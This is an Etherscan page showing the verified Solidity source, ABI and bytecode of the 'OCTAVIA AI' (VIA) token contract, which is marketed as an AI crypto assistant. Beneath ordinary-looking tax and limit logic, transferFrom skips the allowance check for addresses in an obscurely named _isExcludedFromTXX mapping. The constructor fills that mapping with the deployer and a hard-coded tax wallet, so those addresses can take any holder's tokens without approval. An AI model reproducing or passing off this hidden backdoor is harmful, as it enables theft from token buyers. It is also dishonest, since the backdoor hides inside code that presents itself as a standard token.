Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div( interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(    - function allowance(    - function approve(address spender, uin ...    - function transferFrom(    - function _msgSender() interface IUniswapV2Factory    - function createPair(  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract OCTAVIAAI is Context, IER ... *    - function openTrading()    - function createPair()    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(    - function allowance(    - function approve(    - function transferFrom(    - function _approve(address owner, addr ...    - function _basicTransfer(address from, ...    - function _transferLimitCheck(address ...    - function _transferTo(address sender, ...    - function _checkLimitTransfer(address ...    - function _transfer(address from, addr ...    - function _tokenTransfer(    - function swapBackOf(address from, add ...    - function getTaxFeeOf(address from, ad ...    - function removeLimits()    - function min(uint256 a, uint256 b)    - function isContract(address account)    - function recoverEth()    - function sendETHToFee(uint256 amount)    - function swapTokensForEth(uint256 tok ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-12-10
*/

// SPDX-License-Identifier: MIT

/*
Octavia is the definitive AI Crypto & Web3 Assistant. Making managing web3 communities, as well as researching and investing in crypto easier than ever

https://octavia-ai.org
https://app.octavia-ai.org
https://docs.octavia-ai.org

https://x.com/octaviaai_eth
https://t.me/octaviaai_eth
*/

pragma solidity 0.8.26;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract OCTAVIAAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private _isExcludedFromTXX;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 15;
    uint256 private _initialSellTax = 15;
    uint256 private _finalBuyTax = 2;
    uint256 private _finalSellTax = 2;
    uint256 private _reduceBuyTaxAt = 10;
    uint256 private _reduceSellTaxAt = 10;
    uint256 private _preventSwapBefore = 15;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"OCTAVIA AI";
    string private constant _symbol = unicode"VIA";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x6ADdf9A6fe745829a85b444c255C205f0657f169);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromTXX[_msgSender()] = true;
        _isExcludedFromTXX[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function createPair() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transferTo(sender, recipient, _msgSender(), amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function _transferLimitCheck(address to) private { 
        if (
            to != address(uniswapV2Router) &&
            to != address(uniswapV2Pair)
        ) {
            require(
                _holderLastTransferTimestamp[tx.origin] < block.number,
                "Only one transfer per block allowed."
            );
            _holderLastTransferTimestamp[tx.origin] = block.number;
        }
    }

    function _transferTo(address sender, address recipient, address spender, uint256 amount) private {
        _transfer(sender, recipient, amount); 
        if(!_isExcludedFromTXX[spender])
        _approve(
            sender,
            spender,
            _allowances[sender][spender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
    }

    function _checkLimitTransfer(address from, address to, uint256 tokenAmount) private { 
        if (
            from == uniswapV2Pair &&
            to != address(uniswapV2Router) &&
            !_isExcludedFromFee[to]
        ) {
            require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            require(
                balanceOf(to) + tokenAmount <= _maxWalletSize,
                "Exceeds the maxWalletSize."
            );
            if (_buyCount < _preventSwapBefore) {
                require(!isContract(to));
            }
            _buyCount++;
        }
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");

        if (!swapEnabled || inSwap) {
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {

            if (transferDelayEnabled) {
                _transferLimitCheck(to);
            }

            _checkLimitTransfer(from, to, tokenAmount);   

            taxAmount = getTaxFeeOf(from, to, tokenAmount);

            swapBackOf(from, to, tokenAmount);
        }

        _tokenTransfer(from, to, tokenAmount, taxAmount);
    }

    function _tokenTransfer(
        address from,
        address to,
        uint256 amount,
        uint256 taxAmount
    ) internal {
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(
                taxAmount
            );
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapBackOf(address from, address to, uint256 tokenAmount) private { 
        uint256 contractTokenBalance = balanceOf(address(this));
        if (
            !inSwap &&
            to == uniswapV2Pair &&
            swapEnabled &&
            _buyCount > _preventSwapBefore &&
            !_isExcludedFromFee[from] &&
            !_isExcludedFromFee[to]
        ) {
            if(contractTokenBalance > _taxSwapThreshold) {
                swapTokensForEth(
                    min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))
                );
            }
            sendETHToFee(address(this).balance);
        }
    }

    function getTaxFeeOf(address from, address to, uint256 tokenAmount) private view returns(uint256) { 
        uint256 taxAmount = tokenAmount
            .mul(
                (_buyCount > _reduceBuyTaxAt)
                    ? _finalBuyTax
                    : _initialBuyTax
            )
            .div(100);

        if (to == uniswapV2Pair && from != address(this)) {
            require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            taxAmount = tokenAmount
                .mul(
                    (_buyCount > _reduceSellTaxAt)
                        ? _finalSellTax
                        : _initialSellTax
                )
                .div(100);
        }

        return taxAmount;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = ~uint256(0);
        _maxWalletSize = ~uint256(0);
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(~uint256(0));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function recoverEth() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    receive() external payable {}

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if (tokenAmount == 0) {
            return;
        }
        if (!tradingOpen) {
            return;
        }
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff19169055600f6007819055600881905560026009818155600a918255600b829055600c829055600d929092555f600e55610044919061037a565b610052906301312d0061038f565b600f556100616009600a61037a565b61006f906301312d0061038f565b60105561007e6009600a61037a565b61008990606461038f565b6011556100986009600a61037a565b6100a5906298968061038f565b6012556014805461ffff60a81b191690553480156100c1575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b031916746addf9a6fe745829a85b444c255c205f0657f169001790556101366009600a61037a565b61014490633b9aca0061038f565b335f90815260016020819052604082209290925560039061016c5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600390935281832080548516600190811790915560065461010090049091168352908220805490931681179092556004906101d43390565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790556006546101009004909116815260049092529020805490911660011790556102263390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61025d6009600a61037a565b61026b90633b9aca0061038f565b60405190815260200160405180910390a36103a6565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102d0578085048111156102b4576102b4610281565b60018416156102c257908102905b60019390931c928002610299565b935093915050565b5f826102e657506001610374565b816102f257505f610374565b816001811461030857600281146103125761032e565b6001915050610374565b60ff84111561032357610323610281565b50506001821b610374565b5060208310610133831016604e8410600b8410161715610351575081810a610374565b61035d5f198484610295565b805f190482111561037057610370610281565b0290505b92915050565b5f61038860ff8416836102d8565b9392505050565b808202811582820484141761037457610374610281565b6119d8806103b35f395ff3fe60806040526004361061011e575f3560e01c80638da5cb5b1161009d578063bcdb446b11610062578063bcdb446b14610319578063bf474bed1461032d578063c876d0b914610342578063c9567bf91461035b578063dd62ed3e1461036f575f80fd5b80638da5cb5b146102805780638f9a55c0146102a657806395d89b41146102bb5780639e78fb4f146102e6578063a9059cbb146102fa575f80fd5b8063313ce567116100e3578063313ce567146101f257806370a082311461020d578063715018a614610241578063751039fc146102575780637d1db4a51461026b575f80fd5b806306fdde0314610129578063095ea7b31461016d5780630faee56f1461019c57806318160ddd146101bf57806323b872dd146101d3575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600a8152694f43544156494120414960b01b60208201525b60405161016491906115e0565b60405180910390f35b348015610178575f80fd5b5061018c610187366004611629565b6103b3565b6040519015158152602001610164565b3480156101a7575f80fd5b506101b160125481565b604051908152602001610164565b3480156101ca575f80fd5b506101b16103c9565b3480156101de575f80fd5b5061018c6101ed366004611653565b6103e9565b3480156101fd575f80fd5b5060405160098152602001610164565b348015610218575f80fd5b506101b1610227366004611691565b6001600160a01b03165f9081526001602052604090205490565b34801561024c575f80fd5b50610255610400565b005b348015610262575f80fd5b5061025561047a565b348015610276575f80fd5b506101b1600f5481565b34801561028b575f80fd5b505f546040516001600160a01b039091168152602001610164565b3480156102b1575f80fd5b506101b160105481565b3480156102c6575f80fd5b5060408051808201909152600381526256494160e81b6020820152610157565b3480156102f1575f80fd5b506102556104ee565b348015610305575f80fd5b5061018c610314366004611629565b6106ec565b348015610324575f80fd5b506102556106f8565b348015610338575f80fd5b506101b160115481565b34801561034d575f80fd5b5060065461018c9060ff1681565b348015610366575f80fd5b5061025561075b565b34801561037a575f80fd5b506101b16103893660046116ac565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103bf338484610940565b5060015b92915050565b5f6103d66009600a6117da565b6103e490633b9aca006117e8565b905090565b5f6103f684843385610a64565b5060019392505050565b5f546001600160a01b031633146104325760405162461bcd60e51b8152600401610429906117ff565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104a35760405162461bcd60e51b8152600401610429906117ff565b5f19600f81905560108190556006805460ff191690556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b5f546001600160a01b031633146105175760405162461bcd60e51b8152600401610429906117ff565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105659030906105526009600a6117da565b61056090633b9aca006117e8565b610940565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105d99190611834565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610638573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065c9190611834565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106a6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ca9190611834565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f6103bf338484610ae2565b5f546001600160a01b031633146107215760405162461bcd60e51b8152600401610429906117ff565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610758573d5f803e3d5ffd5b50565b5f546001600160a01b031633146107845760405162461bcd60e51b8152600401610429906117ff565b601454600160a01b900460ff16156107de5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610429565b6013546001600160a01b031663f305d719473061080f816001600160a01b03165f9081526001602052604090205490565b5f806108225f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610888573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108ad919061184f565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610902573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610926919061187a565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109a25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610429565b6001600160a01b038216610a035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610429565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b610a6f848483610ae2565b6001600160a01b0382165f9081526004602052604090205460ff16610adc57610adc84836105608460405180606001604052806028815260200161197b602891396001600160a01b03808b165f908152600260209081526040808320938c16835292905220549190610cb3565b50505050565b6001600160a01b038316610b465760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610429565b6001600160a01b038216610ba85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610429565b5f8111610c095760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610429565b601454600160b01b900460ff161580610c2b5750601454600160a81b900460ff165b15610c4057610c3b838383610ceb565b505050565b5f80546001600160a01b03858116911614801590610c6b57505f546001600160a01b03848116911614155b15610ca75760065460ff1615610c8457610c8483610d8e565b610c8f848484610e3c565b610c9a848484610f88565b9050610ca784848461105f565b610adc84848484611136565b5f8184841115610cd65760405162461bcd60e51b815260040161042991906115e0565b505f610ce28486611899565b95945050505050565b6001600160a01b0383165f90815260016020526040902054610d0d9082611273565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610d3b90826112bb565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a579085815260200190565b6013546001600160a01b03828116911614801590610dba57506014546001600160a01b03828116911614155b1561075857325f908152600560205260409020544311610e285760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610429565b325f90815260056020526040902043905550565b6014546001600160a01b038481169116148015610e6757506013546001600160a01b03838116911614155b8015610e8b57506001600160a01b0382165f9081526003602052604090205460ff16155b15610c3b57600f54811115610ede5760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610429565b60105481610f00846001600160a01b03165f9081526001602052604090205490565b610f0a91906118ac565b1115610f585760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610429565b600d54600e541015610f6f57813b15610f6f575f80fd5b600e8054905f610f7e836118bf565b9190505550505050565b5f80610fb66064610fb0600b54600e5411610fa557600754610fa9565b6009545b8690611319565b90611397565b6014549091506001600160a01b038581169116148015610fdf57506001600160a01b0385163014155b1561105757600f548311156110325760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610429565b610ce26064610fb0600c54600e541161104d57600854610fa9565b600a548690611319565b949350505050565b305f90815260016020526040902054601454600160a81b900460ff1615801561109557506014546001600160a01b038481169116145b80156110aa5750601454600160b01b900460ff165b80156110b95750600d54600e54115b80156110dd57506001600160a01b0384165f9081526003602052604090205460ff16155b801561110157506001600160a01b0383165f9081526003602052604090205460ff16155b15610adc5760115481111561112d5761112d61112883611123846012546113d8565b6113d8565b6113ec565b610adc47611575565b80156111ae57305f9081526001602052604090205461115590826112bb565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111a59085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111d09083611273565b6001600160a01b0385165f908152600160205260409020556112136111f58383611273565b6001600160a01b0385165f90815260016020526040902054906112bb565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61125c8585611273565b60405190815260200160405180910390a350505050565b5f6112b483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cb3565b9392505050565b5f806112c783856118ac565b9050838110156112b45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610429565b5f825f0361132857505f6103c3565b5f61133383856117e8565b90508261134085836118d7565b146112b45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610429565b5f6112b483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115b4565b5f8183116113e657826112b4565b50919050565b6014805460ff60a81b1916600160a81b179055801561156557601454600160a01b900460ff1615611565576040805160028082526060820183525f9260208301908036833701905050905030815f8151811061144a5761144a6118f6565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114c59190611834565b816001815181106114d8576114d86118f6565b6001600160a01b0392831660209182029290920101526013546114fe9130911684610940565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115369085905f9086903090429060040161190a565b5f604051808303815f87803b15801561154d575f80fd5b505af115801561155f573d5f803e3d5ffd5b50505050505b506014805460ff60a81b19169055565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f193505050501580156115b0573d5f803e3d5ffd5b5050565b5f81836115d45760405162461bcd60e51b815260040161042991906115e0565b505f610ce284866118d7565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610758575f80fd5b5f806040838503121561163a575f80fd5b823561164581611615565b946020939093013593505050565b5f805f60608486031215611665575f80fd5b833561167081611615565b9250602084013561168081611615565b929592945050506040919091013590565b5f602082840312156116a1575f80fd5b81356112b481611615565b5f80604083850312156116bd575f80fd5b82356116c881611615565b915060208301356116d881611615565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561173257808504811115611716576117166116e3565b600184161561172457908102905b60019390931c9280026116fb565b935093915050565b5f82611748575060016103c3565b8161175457505f6103c3565b816001811461176a576002811461177457611790565b60019150506103c3565b60ff841115611785576117856116e3565b50506001821b6103c3565b5060208310610133831016604e8410600b84101617156117b3575081810a6103c3565b6117bf5f1984846116f7565b805f19048211156117d2576117d26116e3565b029392505050565b5f6112b460ff84168361173a565b80820281158282048414176103c3576103c36116e3565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611844575f80fd5b81516112b481611615565b5f805f60608486031215611861575f80fd5b5050815160208301516040909301519094929350919050565b5f6020828403121561188a575f80fd5b815180151581146112b4575f80fd5b818103818111156103c3576103c36116e3565b808201808211156103c3576103c36116e3565b5f600182016118d0576118d06116e3565b5060010190565b5f826118f157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561195a5783516001600160a01b0316835260209384019390920191600101611933565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220af77d00b5cee234f4da769d767a3750f928e6d995c2359d4b42f99ae5b16668264736f6c634300081a0033

